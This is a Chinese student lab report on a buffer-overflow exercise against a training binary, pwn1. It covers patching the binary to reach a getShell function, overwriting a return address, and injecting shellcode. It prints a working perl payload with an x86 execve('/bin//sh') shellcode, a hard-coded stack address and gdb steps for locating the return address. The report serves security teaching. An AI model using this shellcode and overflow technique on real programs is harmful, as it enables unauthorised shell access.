其他分享
首页 > 其他分享> > 20212810 2021-2022-2 《网络攻防实践》实践九报告

20212810 2021-2022-2 《网络攻防实践》实践九报告

作者:互联网

20212810 2021-2022-2 《网络攻防实践》实践九报告

软件安全攻防--缓冲区溢出和shellcode

一.实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

二.实践过程

1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

3. 注入一个自己制作的shellcode并运行这段shellcode。

接下来确定\x4\x3\x2\x1到底该填什么:
打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./20212810pwn2

再开另外一个终端,用gdb来调试pwn这个进程:
用ps -ef | grep 20212810pwn2命令找到pwn的进程号12803

并在返回指令的地址处设置断点,再另外的一个终端按下回车,再使用c使得程序接着运行

用x/16x 0xffffd16c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd170:

perl -e 'print "A" x 32;print "\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
执行(cat input_shellcode;cat) | ./pwn1,如下图所示攻击成功,执行shell功能:

成功

三.学习中遇到的问题及解决

设置堆栈时出现问题

解决方法:不知道为什么,过了几天做又可以了。

四.实践总结

这次作业相对轻松。但是有时候还存在很多编写错误,有空还需要多动手实践一下。

标签:x90,getShell,函数,实践,地址,2021,2022,shellcode
来源: https://www.cnblogs.com/bzhuihui/p/16271572.html